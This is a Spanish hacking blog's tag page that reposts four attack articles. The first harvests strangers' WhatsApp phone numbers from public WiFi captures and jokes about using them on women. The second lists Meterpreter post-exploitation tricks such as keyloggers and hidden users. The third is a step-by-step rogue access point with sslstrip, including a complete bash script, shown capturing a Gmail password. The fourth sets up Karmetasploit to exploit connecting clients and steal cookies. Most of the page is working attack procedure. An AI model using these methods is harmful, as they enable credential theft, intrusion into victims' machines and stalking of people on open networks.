Banner 1

Mostrando entradas con la etiqueta backtrack. Mostrar todas las entradas
Mostrando entradas con la etiqueta backtrack. Mostrar todas las entradas

Cómo saber el WhatsApp de alguien con WhatsApp Discover

0 comentarios
A finales del verano pasado, justo antes de las vacaciones, y de la importante decisión de abandonar mi cálida isla de Tenerife para trasladarme a León e incorporarme a la disciplina de INTECO, me entró curiosidad por analizar el protocolo de comunicación de Whatsapp, que a lo largo de los últimos años se ha erigido como líder absoluto e indiscutible en el trono de los sistemas de mensajería móvil - y si no que se lo digan a Mark Zuckerberg -.


Figura 1: WhatsApp se ha erigido en app por excelencia para chatear

A lo largo de su historia este popular aplicativo ha sido noticia constantemente por sus problemas relacionados tanto con la seguridad de la información transmitida, que en su día llegó a viajar en texto plano, como por la privacidad de las diferentes versiones de WhatsApp para Android o de las versiones de WhatsApp para iPhone. Conocidas estas debilidades, todo el mundo siempre ha tenido mucho interés en saber cómo se pueden espiar las conversaciones de WhatsApp. No obstante, desde finales de 2012, la comunicación entre servidor y clientes van cifradas a día de hoy, aunque es conocido que todavía existen debilidades graves con el cifrado que se usa por la red, así que mi interés se encontraba precisamente en analizar cómo se producía el cifrado de dicha comunicación.

Para ello, el primer paso era investigar y obtener toda la información disponible en la red acerca del protocolo FunXMPP utilizado por WhatsApp, que en aquel momento no era tanta como ahora, así que tras un poco de investigación llegué a la conclusión de que en primer lugar tenía que descubrir la clave de cifrado que utiliza el dispositivo con el que iba a realizar el análisis, (en este caso mi iPhone 4S), y que se transmite únicamente la primera vez a la hora de instalar la app en el terminal.

Esta clave se intercambia mediante SSL, pero el tráfico correspondiente a las conversaciones puede discurrir por los puertos 443, 5222 y 5223 así que para poder inspeccionar no sólo el tráfico SSL sino todos los paquetes, hice pasar el tráfico de mi móvil a través de mi equipo implementando un esquema de ataque de red tipo "machine" in the middle como el que monté en la famosa historia del vecino que me robaba la WiFi y acabo hackeado, utilizando además el famoso proxy Burp, instalando el certificado PortSwigger como enseñaba Alejandro Ramos (@aramosf) en este post en Security By Default.

Tras reinstalar la app de WhatsApp y obtener la interacción de mensajes entre cliente y servidor, pude tener acceso a la clave de cifrado de mi dispositivo, como se puede observar en la siguiente imagen:

Figura 2: Capturando el tráfico de WhatsApp de un iPhone

Además de esto, en esta conexión el cliente enviaba también otras peticiones entre las que incluía la información correspondiente a los teléfonos que tenía en su agenda para actualizar los estados de todos sus contactos, pero no voy a profundizar en estas cuestiones para no dispersarme del tema central de este artículo, porque además ya se han escrito otros al respecto y realmente cualquiera que conozca tu número puede consultar tu perfil.

Una vez tenía en mano mi propia clave de cifrado, me dispuse a analizar el tráfico generado entre mi móvil y los servidores de WhatsApp. Para esto, decidí utilizar WhatsAPI, una API desarrollada por Max Kovaljov utilizando ingeniería inversa para poder conectar con WhatsApp desde PHP de cara a implementar un cliente de escritorio o cualquier cosa que a alguien se le pueda ocurrir. Cuando me puse en contacto con él, y le conté que estaba usando WhatsAPI para analizar el tráfico generado por mi propio dispositivo, se quedó a cuadros, porque según me comentaba Max, el uso habitual que la gente hacía de esta API era intentar registrar un teléfono desde el PC para poder enviar y recibir mensajes.

Figura 3: WhatsAPI en PHP

La verdad que tras las vacaciones, así como con el ajetreo del cambio de vida y rumbo a León, no pude llegar a concluir mi investigación y llegar a descifrar completamente una conversación que había capturado. Hice algunos avances empezando a entender el protocolo FunXMPP, a decodificar los paquetes transmitidos en busca del inicio de la comunicación, y los challenge_node enviados por los servidores de WhatsApp para proceder al cifrado de los mensajes:

Figura 4: Obtención del challenge_node

Uno de los problemas añadidos al evidente que supone trabajar desde el otro lado, es que además los desarrolladores de WhatsApp introducen constantemente cambios tanto en su plataforma como en el comportamiento de sus clientes, y durante el tiempo que estuve investigando este tema descubrí con Max algunas de estas modificaciones, que además variaban dependiendo del sistema operativo del dispositivo móvil (iOS, Android, BlackBerry, Windows Phone...) y la versión del cliente. Un ejemplo de estas modificaciones es que, al retomar la investigación tras un tiempo, pude ver que al menos conectando desde mi iPhone, ya no se enviaba ningún challenge_node por parte de los servidores de WhatsApp, por lo que concluimos que se había pactado en una sesión anterior.

Durante esta etapa, además de Max, me puse en contacto con Pablo San Emeterio, que estaba haciendo algo parecido estudiando también el protocolo por su cuenta, utilizando Yowsup en lugar de WhatsAPI, y quien junto a Jaime Sánchez hace tan sólo unos meses, consiguió llegar al final y publicar este excelente trabajo.


No he descrito con excesivo detalle el protocolo FunXMPP porque no es el objeto de este artículo, y porque a día de hoy, pasado un tiempo, ya Pablo y Jaime se han encargado de explicarlo con pelos y señales para quien quiera echarle un vistazo.

De todo lo que pude deducir durante esta fase de análisis, una de las cosas que más me llamó la atención es que cuando un cliente establece la conexión con los servidores de WhatsApp, antes de iniciar la comunicación cifrada se envía siempre un paquete previo en texto plano para iniciar la comunicación, que comienza con la cadena “WA”, y en el que se envían además de otros parámetros que van codificados como la versión del protocolo o el mecanismo de autenticación, la siguiente información legible a simple vista:
- Sistema operativo del cliente
- Versión del aplicativo Whatsapp
- Puerto utilizado para la transmisión: 443, 5222 o 5223 (salvo en Android)
- Número de teléfono con prefijo del país
Figura 6: Paquete con el número de teléfono enviada desde un terminal iPhone

El paquete que se puede observar en la imagen corresponde al enviado por mi teléfono móvil durante la sesión en la que capturaba el tráfico, pero inmediatamente pensé en cuántos de estos paquetes se transmitirían en redes WiFi públicas. Tras realizar algunas pruebas y obtener capturas en diferentes lugares y momentos a lo largo de este tiempo, por aquello de los posibles cambios que han podido introducir los desarrolladores de WhatsApp en el protocolo, he podido confirmar que a día de hoy esto sigue igual - a expensas de lo que pueda pasar ahora tras la compra de WhatsApp por parte de Facebook -. A continuación muestro algunos ejemplos de paquetes de diferentes dispositivos obtenidos en capturas aleatorias: 

Figura 7: Paquete enviado desde WhatsApp para Android con el número de teléfono
Figura 8: Paquete enviado desde WhatsApp para Symbian con el número de teléfono

Tras confirmar esto, pensé en el uso potencial que esta característica de la implementación del protocolo de WhatsApp puede tener para detectar números de teléfonos de personas que se encuentren usando alegremente esas redes WiFi abiertas de cafeterías, centros comerciales, hoteles o aeropuertos, sobretodo para mis amigos solteros. Esa rubia que se encuentra en la mesa enfrente de nosotros, tecleando compulsivamente como si se le fuera la vida en ello, seguramente utilizando WhatsApp. ¿Se imaginan poder obtener su teléfono para primero ver su estado, foto de perfil, confirmar que es ella y enviarle un mensaje?

Figura 9: Verdad verdadera

Como esto de capturar el tráfico, abrir un .pcap y analizar los paquetes no es para mis amigos solteros, que de esto saben lo mismo que yo de jardinería, me decidí a hacer una herramienta que pudiese capturar estos paquetes y hacer el trabajo sucio por ellos, a la que he bautizado como “WhatsApp Discover”: 

Figura 10: WhatsApp Discover corriendo en Kali Linux

La herramienta consiste en un sencillo script en Perl, que puede funcionar directamente en modo sniffer, pasándole por parámetro una interfaz de red, o tomando como entrada ficheros de captura de paquetes, que además se pueden procesar por lotes. Lo único que hace es abrir los ficheros de captura, diferenciando entre tramas Ethernet o IEEE802.11, detectar los paquetes que siguen el patrón especificado anteriormente, y extraer de los mismos la información correspondiente, que dependiendo del sistema operativo de cada dispositivo, no siempre se encuentra en el mismo lugar del paquete. Gracias a la potencia de las expresiones regulares con las que mantengo un idilio desde que las conocí, esto no supone mucho problema.

Figura 11: Expresiones regulares en WhatsApp Discover

De este modo, con un sencillo “./whatsapp_discover.pl -f *.cap” podemos obtener los números de teléfono de todas las personas que hayan estado utilizando WhatsApp en todas las redes WiFi públicas (o no públicas) en las que hayamos capturado pasivamente tráfico. Y eso he hecho yo con mis propias capturas: 

Figura 12: Buscando los números de teléfono de WhatsApp las capturas de red

Si vemos con atención la salida de “Whatsapp Discover”, podemos ver que se obtienen números de todo tipo de dispositivos (Blackberry y Symbian incluidos), y que entre los teléfonos que he obtenido tras procesar mis capturas, existe uno que corresponde a un número de móvil americano. Lo curioso es que yo no había identificado este número al mirar las capturas con Wireshark, porque obviamente no las había abierto una a una, pero gracias a haberme construido esta herramienta, pude identificar un número que me llamó la atención.

El siguiente paso fue agregarlo en mi agenda de contactos, porque me picaba la curiosidad, ya que la captura de paquetes la había realizado en una red wifi abierta de un Centro Comercial en mi querida isla, durante las fechas navideñas. Así que supuse que sería alguien que como yo, había vuelto a casa por Navidad. Y parece que así era, ya que de lo que se deduce por su estado, se ve que habla español con se ve en su mensaje de estado:

Figura 13: Un número americano en el centro comercial

He colgado el código fuente de WhatsApp Discover en el repositorio de GitHub como PoC, ya que de momento he eliminado la funcionalidad de sniffer en tiempo real, porque por limitaciones de tiempo no he podido validar su comportamiento como es debido, y además así evitamos el uso malicioso e indiscriminado de la misma por script kiddies, los que como mínimo necesitarán saber obtener una o más capturas de paquetes válidas para probar la herramienta.  Podría ser muy útil en herramientas de análisis de pcaps, como Immunity Stalker, donde se conseguiría sacar más información de las capturas. Además, habrá que comprobar si ahora que Mark Zuckerberg está detrás de WhatsApp, este leak de privacidad sigue vigente dentro de un tiempo.

Aparte de la rubia de la cafetería, imaginen qué pasaría si una celebrity o un alto cargo público utiliza su smartphone desde la red WiFi de su hotel, para enviar mensajes de WhatsApp, dado lo valioso que es para ellos preservar la privacidad de su número de teléfono. Yo por si acaso, no lo haría si no fuera protegiendo mi WhatsApp con una conexión VPN de por medio ;).

Sólo me queda agradecer a Chema Alonso, como en otras ocasiones, la oportunidad de poder publicar en este privilegiado espacio, así como a mi mujer e mi hija la paciencia que han mostrado estas semanas en las que les he robado el poco tiempo libre que me queda tras la jornada laboral y las tareas diarias de rigor.

Autor: Deepak Daswani
http://twitter.com/dipudaswani
http://deepakdaswani.es

Fuente: http://www.elladodelmal.com/2014/03/como-saber-el-whatsapp-de-alguien-con.html

Best of Post Exploitation Exploits & Tricks

0 comentarios
Buenas.

Comparto varios trucos de post-explotación:

How to Find ALL Excel, Office, PDF, and Images in Remote PC
How to Delete Passwords/Cookies/History/Temp Internet File of Internet Explorer in Remote Victim PC
Forensics Investigation of Remote PC (Part 2)
How to Lock Drive of Remote Windows Victim PC
How to Broadcast YouTube Video in Remote Windows System
Hack Remote PC with Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation
Get Admin Privilege of Remote Victim PC using Windows SYSTEM Escalation via KiTrap0D
Recover Deleted Data from Remote Victim PC
How to Encrypt Drive of Remote Victim PC
How to Hide File in Remote Victim PC
Hack Remote Windows Password using Keylogger in Meterpreter
How to Gather Installed Application in Victim PC
How to Gather USB Drive History of Victim PC
How to Gather Wireless Current Connection Info of Remote PC
How to Disconnect Wireless Connection of Remote PC
How to Find All Connected Wireless Network in Remote PC
How to Gather Windows Product Key of Remote victim PC
How to Gather Microsoft Outlook Saved Password in Remote PC
How to Hack Save Password in FileZilla of Remote PC
How to Detect Install OS in Victim Virtual BOX
How to Create hidden user in Remote PC
How to use Keylogger in Meterpreter

How to change password of Remote PC in LAN

Fuente: http://www.hackingarticles.in/best-of-post-exploitation-exploits-tricks/

Punto de acceso wifi falso + SSLTrip [Backtrack 5]

0 comentarios

¿Qué es un punto de acceso?

Un punto de acceso inalámbrico o AP (Access Point) es un dispositivo que permite la conexión inalámbrica de un equipo móvil de cómputo (ordenador, tableta, smartphone) con una red. Generalmente los puntos de acceso tienen como función principal permitir la conectividad con la red, delegando la tarea de ruteo y direccionamiento a servidores, routers y switches. La mayoría de los AP siguen el estándar de comunicación 802.11 de la IEEE lo que permite una compatibilidad con una gran variedad de equipos inalámbricos.

¿Realmente navegamos seguros en redes wifi?

Vamos a demostrar la facilidad de montar un Punto de acceso falso (Fake AP) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
Todo lo realizado a continuación es a modo de aprendizaje, no nos hacemos responsable del mal uso que un usuario le pueda dar.

Requisitos

  • Adaptador Wifi (con soporte modo monitor).
  • Antena Wifi.
  • Linux Backtrack 5 (ISO o CD).
  • VirtualBox (Si usamos Backtrack en CD Live no seria necesario).
  • Conexión a Internet.

Software usado

  • Aircrack-ng (para crear punto de acceso falso con airbase-ng)
  • dhcp3-server (para asignar ips privadas a los clientes que se conecten) – Opcional
  • bind9 o dnsmasq (para resolver nombres de dominio)
  • iptables (para redireccionar el tráfico y hacer ip forward)
  • tar (para desempaquetar archivos tar)
  • python (para usar ssltrip)
  • ssltrip (para obtener credenciales)
  • tcpdump (para capturar el tráfico) – Opcional
  • WireShark (para analizar las capturas) – Opcional
  • NetworkMiner (para extraer datos de las capturas de forma automatizada)

Paso 1 – Iniciar máquina virtual o CD Live

Lo primero que necesitamos es crear una máquina virtual con la imagen ISO de Backtrack 5 o iniciar desde un CD Live.
Si usamos Backtrack 5 desde máquina virtual con VirtualBox debemos asociar el adaptador Wifi USB a la máquina virtual desde el menú:
Dispositivos >> Dispositivos USB >> “Nombre de nuestro adaptador Wifi USB”
VirtualBox - Dispositivo USB
VirtualBox – Dispositivo USB
Backtrack 5 por defecto trae el idioma del teclado en inglés, por comodidad si lo queremos poner en español, ejecutamos este comando:
0001
setxkbmap -layout es

Paso 2 – Instalar software necesario

Una vez iniciado Backtrack 5 necesitamos instalar un servidor DHCP (dhcp3-server) para asignar IPs privadas a los clientes y un servidor DNS (dnsmasq o bind) para la resolución de nombres de dominio.
Actualizamos los paquetes de los repositorios:
0001
apt-get update
*Deben estar configurados previamente los repositorios en: /etc/apt/sources.list
Instalamos el servidor DHCP:
0001
apt-get install dhcp3-server
Instalamos el servidor DNS (en este ejemplo hemos usado dnsmasq pero se podría usar bind9 también):
0001
apt-get install dnsmasq

Paso 3 – Establecer el adaptador wifi en modo monitor

Nos aseguramos de tener el adaptador wifi conectado correctamente usando el comando:
0001
iwconfig
Nos debería aparecer algo así:

iwconfig
iwconfig

*Dependiendo del dispositivo puede que no aparezca wlan0 y se muestre con otro nombre. Para saber si es una interfaz wifi debe aparecer: 802.11.
Necesitamos establecer el adaptador Wifi en modo monitor para poder montar el punto de acceso.
Modo monitor:
0001
airmon-ng start wlan0
ó
0001
ifconfig wlan0 mode monitor
*Hay varias formas para poner el adaptador en modo monitor pero es recomendable usar airmon-ng ya que este nos crea una nueva interfaz llamada mon0, mon1, mon2

Paso 4 – Crear punto de acceso wifi falso

Una vez que tengamos nuestro adaptador wifi en modo monitor, creamos el punto de acceso, donde debemos especificar el nombre de la red, el canal wifi a usar y la interfaz en modo monitor (creada anteriormente). Crearemos una red abierta sin contraseña.
0001
airbase-ng -P -C -c --essid
-P: Responde a todos los escaneos de redes wifi.
-C: Especifica cada cuantos segundos se envían beacons para anunciar el nombre de la red.
-c: Canal wifi.
–essid: Nombre de la red.
Por ejemplo:
0001
airbase-ng -P -C 2 -c 6 --essid "Security Null" mon0
*Canal: 6
*Nombre de la red: Security Null
*Interfaz monitor: mon0
Una vez creado el punto de acceso falso, airbase-ng nos habrá creado una nueva interfaz llamada at0 (podemos verificarlo usando el comando ifconfig). Ahora asignamos una dirección IP y máscara de subred a esta nueva interfaz (esta interfaz es por la que pasará todo el tráfico de la red wifi).
0001
ifconfig at0 netmask up
Por ejemplo:
0001
ifconfig at0 192.168.2.1 netmask 255.255.255.0 up
*No usar una dirección IP usada actualmente en vuestra red o no funcionará.

Paso 5 – Configurar e iniciar servidor DHCP

En este momento nuestro punto de acceso seria accesible y visible y nos podríamos conectar pero nos daría error obteniendo dirección IP al no tener un servidor DHCP que nos asigne una dirección IP privada.
Nota: Podemos prescindir de dhcp3-server y usar solo dnsmasq, ya que dnsmasq también tiene las funcionalidades de servidor DHCP. Si prefiere usar solo dnsmasq, ignore este paso y pase al siguiente.
Editamos el archivo:
/etc/dhcp3/dhcpd.conf
Con el siguiente contenido:
ddns-update-style none;
option domain-name-servers 192.168.2.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.50 192.168.2.100;
option routers 192.168.2.1;
option domain-name-servers 192.168.2.1;
}
*Usamos un rango de IPs desde: 192.168.2.50 a 192.168.2.100, con lo cual solo podría haber 50 clientes conectados simultáneamente, es más que suficiente.
Si ya tenemos el servidor DHCP iniciado lo cerramos usando:
0001
0002
killall dhcpd3
/etc/init.d/dhcp3-server stop
Iniciamos el servidor DHCP indicándole el nuevo archivo de configuración (-cf) y la interfaz at0:
0001
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0

Paso 6 – Configurar e iniciar servidor DNS

En este momento ya tenemos conectividad con la red wifi falsa pero no podríamos resolver nombres de dominio, para ello editamos el archivo:
/etc/dnsmasq.conf
Con el siguiente contenido:
listen-address=192.168.2.1,127.0.0.1
Si no queremos usar dhcp3-server, ya que dnsmasq también hace de servidor DHCP, en el archivo anteriormente editado (dnsmasq.conf) añadimos al final lo siguiente (si estamos usando dhcp3-server, ignorar esto):
interface=at0
dhcp-range=192.168.2.50,192.168.2.100,255.255.255.0,12h
log-dhcp
dhcp-authoritative
Si ya tenemos el servidor DNS iniciado lo cerramos usando:
0001
0002
killall dnsmasq
/etc/init.d/dnsmasq stop
Iniciamos el servidor DNS:
0001
dnsmasq -a 192.168.2.1 -d -i at0 -z -C /etc/dnsmasq.conf -I lo

Paso 7 – Activar ip forward y aplicar reglas para iptables

Es necesario activar ip forward para reenviar paquetes desde una interfaz a otra, podemos activar esta opción de varias formas:
0001
sysctl net.ipv4.ip_forward=1
ó
0001
echo 1 > /proc/sys/net/ipv4/ip_forward
Debemos aplicar unas reglas en iptables para redirigir el tráfico procedente de la red wifi falsa a una interfaz con conexión a Internet.
0001
0002
0003
0004
iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -j REDIRECT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
*En este ejemplo hemos usado una conexión a Internet por cable usando la interfaz eth0.
*La última regla es usada para ssltrip, donde le indicamos que redireccione todo el tráfico del puerto 80 al 8080 que será el que usemos en ssltrip.

Paso 8 – Esnifar o capturar tráfico de la red wifi (Opcional)

Opcionalmente podemos usar un esnifer para capturar todo el trafico generado en la red wifi.
Podemos usar tanto wireshark o tcpdump.
tcpdump:
0001
tcpdump -w dump.pcap -i at0
-w: Nombre de la captura.
-i: Interfaz de la cual capturar el tráfico (at0 = Interfaz de nuestro punto de acceso falso).

Paso 9 – Instalar e iniciar SSLTrip

Por último solo nos quedaría instalar ssltrip. Esta herramienta actúa como un servidor proxy y se encarga de detectar cuando un usuario esta accediendo a una web a través de HTTPS y reemplaza HTTPS por HTTP, de esta forma capturamos el tráfico sin cifrar.
*Algunos servidores solo dejan entrar a través de HTTPS, con lo cual puede que no sirva para todos.
Descargamos la herramienta de la web del creador:
http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
Lo descomprimimos y desempaquetamos:
0001
tar -xvzf sslstrip-0.9.tar.gz
Cambiamos de directorio a su carpeta:
0001
cd sslstrip-0.9
Lo instalamos:
0001
python ./setup.py install
Y finalmente lo ejecutamos:
0001
sslstrip -w ../ssl.cap -l 8080
-w: Nombre del archivo donde se guardarán los datos capturados.
-l: Puerto donde escuchará ssltrip.

Automatizando el proceso

Para automatizar todo este proceso hemos creado un script en bash que lo realiza todo de forma automática y mucho más rápido:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018
0019
0020
0021
0022
0023
0024
0025
0026
0027
0028
0029
0030
0031
0032
0033
0034
0035
0036
0037
0038
0039
0040
0041
0042
0043
0044
0045
0046
0047
0048
0049
0050
0051
0052
0053
0054
0055
0056
0057
0058
0059
0060
0061
0062
0063
0064
0065
0066
0067
0068
0069
0070
0071
0072
0073
0074
0075
0076
0077
0078
0079
0080
0081
0082
0083
0084
0085
0086
0087
0088
0089
0090
0091
0092
#!/bin/bash
 
# Settings
wlan_interface="wlan0"
interface_monitor="mon0"
internet_interface="eth0"
essid="SecurityNull"
ap_channel=6
network="192.168.2.0"
ip="192.168.2.1"
mask="255.255.255.0"
ip_start="192.168.2.50"
ip_end="192.168.2.100"
 
if [ "$UID" -ne 0 ]
then
    echo "[!] Require ROOT!!"
    exit 0
fi
 
apt-get update
apt-get install dhcp3-server
#apt-get install bind9
apt-get install dnsmasq
 
# Interface Mode Monitor
airmon-ng stop $interface_monitor
airmon-ng start $wlan_interface
sleep 3
 
# Fake AP
killall airbase-ng
xterm -e airbase-ng -P -C 2 -c $ap_channel --essid "$essid" $interface_monitor &
sleep 3
 
ifconfig at0 $ip netmask $mask up
#ifconfig at0 $ip/24 up
 
# DHCP Server
echo "
ddns-update-style none;
option domain-name-servers $ip;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet $network netmask $mask {
range $ip_start $ip_end;
option routers $ip;
option domain-name-servers $ip;
}
" > /etc/dhcp3/dhcpd.conf
killall dhcpd3
/etc/init.d/dhcp3-server stop
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
 
# DNS Server
echo "
listen-address=192.168.2.1,127.0.0.1
#interface=at0
#dhcp-range=$ip_start,$ip_end,$mask,12h
#log-dhcp
#dhcp-authoritative
" > /etc/dnsmasq.conf
killall dnsmasq
/etc/init.d/dnsmasq stop
xterm -e dnsmasq -a $ip -d -i at0 -z -C /etc/dnsmasq.conf -I lo &
 
#killall bind9
#/etc/init.d/bind9 restart
 
# IP Routing
#sysctl net.ipv4.ip_forward=1
echo 1 > /proc/sys/net/ipv4/ip_forward
 
# IPTables
iptables -t nat -F
iptables -t nat -A PREROUTING -i $internet_interface -j REDIRECT
iptables -t nat -A POSTROUTING -o $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
 
# TCP Dump
xterm -e tcpdump -w dump.pcap -i at0 &
 
# SSL Trip
if [ ! -d "sslstrip-0.9" ]; then
    wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
    tar -xvzf sslstrip-0.9.tar.gz
fi
cd sslstrip-0.9
python ./setup.py install
sslstrip -w ../ssl.cap -l 8080
*Script desarrollado para Linux Backtrack 5, en Kali fue probado y no funciona, se tendría que modificar para adaptarlo.
Antes de ejecutarlo debemos darle permisos de ejecución:
0001
chmod 755 fakeap.sh
Ejecutamos el script:
0001
./fakeap.sh
*SE NECESITAN PERMISOS ‘ROOT’ PARA SU EJECUCIÓN.
*No requiere de ningún parámetro, para modificar alguna opción se deben modificar las variables del principio del script.
Una vez ejecutado el script se abrirán otras 3 ventanas donde se verán los clientes asociados, la asignación de direcciones IP privadas de DHCP
FakeAp
FakeAp

A esperar…

Ahora solo nos tocaría esperar a que un cliente se conecte…
En la ventana donde tenemos ejecutándose airbase-ng nos aparecerán los clientes asociados.

Pruebas

Realizamos una prueba y creamos un punto de acceso falso, donde conectamos a una cuenta de gmail usando HTTPS, podemos ver la captura de ssltrip, y vemos que aparece la contraseña sin cifrar:

Captura SSLTrip
Captura SSLTrip

También podemos ver información abriendo la captura con Wireshark:

Wireshark - Análisis
Wireshark – Análisis

Pero como podemos ver usando herramientas como NetworkMiner, con esta herramienta podemos analizar una captura y extraer información sensible de forma más automatizada que usando Wireshark, como por ejemplo: host a donde nos hemos conectado, archivos e imágenes descargadas, sesiones, credenciales…

NetworkMiner - Hosts
NetworkMiner – Hosts

NetworkMiner - Imágenes
NetworkMiner – Imágenes
De esta forma no solo evitamos el HTTPS sino que obtendríamos contraseñas de redes sociales, páginas visitadas y mucha más información.

Conclusión

No existe seguridad al conectarse a redes abiertas (sin contraseña) o con cifrado WEP ya que cualquiera con conocimientos básicos podría estar esnifando el tráfico y ver todo lo que hacemos. Si deseamos estar seguros al conectarnos a este tipo de redes es recomendable usar una VPN como mínimo.
Si realmente te importa tu privacidad, jamás te conectes a una red abierta sin tomar las medidas de protección necesarias, ya que aunque ni siquiera naveguemos en la red, nuestro dispositivo comprueba actualizaciones, el correo electrónico, las redes sociales que tengamos abiertas en segundo plano o incluso si tenemos WhastApp, todo esto realizado de forma automática y quedaría registrado por un atacante.

FUENTES


http://es.wikipedia.org
http://www.thoughtcrime.org
http://safetybits.net

Post original
http://www.securitynull.net/punto-de-acceso-wifi-falso-ssltrip-backtrack-5/comment-page-1/

Karmetasploit

0 comentarios

Karmetasploit sirve para crear puntos de acceso falsoscapturar contraseñas, recopilar infomación, y llevar a los ataques de navegador contralos clientes.

Cuando un usuario se conecta a nuestro AP Fake, la dirección IP la estará asignando el servicio DHCP, y posteriormente karmetasploit intentará ejecutar todos los exploits sobre la maquina objetivo en busca de alguna vulnerabilidad e intentará conseguir una sesión meterpreter.

Descargamos You are not allowed to view links. Register or Login

Instalamos dhcpd3-server

Código: 
sudo apt-get install isc-dhcp-server
Una ves instalado procederemos a configurarlo, Quedando de la siguiente manera.

Código: 
#
# Sample configuration file for ISC dhcpd for Debian
#
# Attention: If /etc/ltsp/dhcpd.conf exists, that will be used as
# configuration file instead of this file.
#
#

# The ddns-updates-style parameter controls whether or not the server will
# attempt to do a DNS update when a lease is confirmed. We default to the
# behavior of the version 2 packages ('none', since DHCP v2 didn't
# have support for DDNS.)
ddns-update-style none;

# option definitions common to all supported networks...
option domain-name "10.0.0.1";
option domain-name-servers 10.0.0.1;

default-lease-time 60;
max-lease-time 72;

# If this DHCP server is the official DHCP server for the local
# network, the authoritative directive should be uncommented.
#authoritative;

# Use this to send dhcp log messages to a different log file (you also
# have to hack syslog.conf to complete the redirection).
log-facility local7;

# No service will be given on this subnet, but declaring it helps the
# DHCP server to understand the network topology.

#subnet 10.0.0.0 netmask 255.255.255.0 {
#}

# This is a very basic subnet declaration.

#subnet 10.0.0.0 netmask 255.255.255.0 {
#  range 10.0.0.100 10.0.0.254;
#  option routers 10.0.0.1;
#}

Luego procedemos a editar /opt/backbox/msf/data/exploits/capture/http/sites.txt donde están almacenados todos los sitios en los que metasploit intentará robar cookies.
 
Ahora comenzamos poniendo nuestra tarjeta en modo monitor, en mi caso es la wlan0

Código: 
airmon-ng start wlan0
Se activará así la interfaz mon0 la cual podemos cambiarle la dirección MAC si lo creemos necesario:

Código: 
ifconfig mon0 down && macchanger -r mon0 && ifconfig mon0 up
Una vez que la interfaz está lista ya podemos crear nuestro punto de acceso con la ayuda de airbase-ng, tecleemos lo siguiente en la consola:

Código: 
airbase-ng -P -C 30 -c 6 -e “red_falsa” mon0
Donde mon0 es nuestra tarjeta en modo monitor y “red_falsa” es el nombre que queramos darle a nuestra red.

Este paso anterior nos creará una nueva interfaz llamada at0 a la cual vamos a darle una ip y activamos el servidor dhcp desde otra terminal:

Código: 
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd -cf /etc/dhcp/dhcpd.conf at0

Ahora iniciamos mestasploit con karma.

Código: 
msfconsole -r karma.rc
Al iniciar karmetasploit les aparecerá:


Fuente: http://foro.infiernohacker.com/index.php?topic=26209.0
Powered by Bad Robot
Helped by Blackubay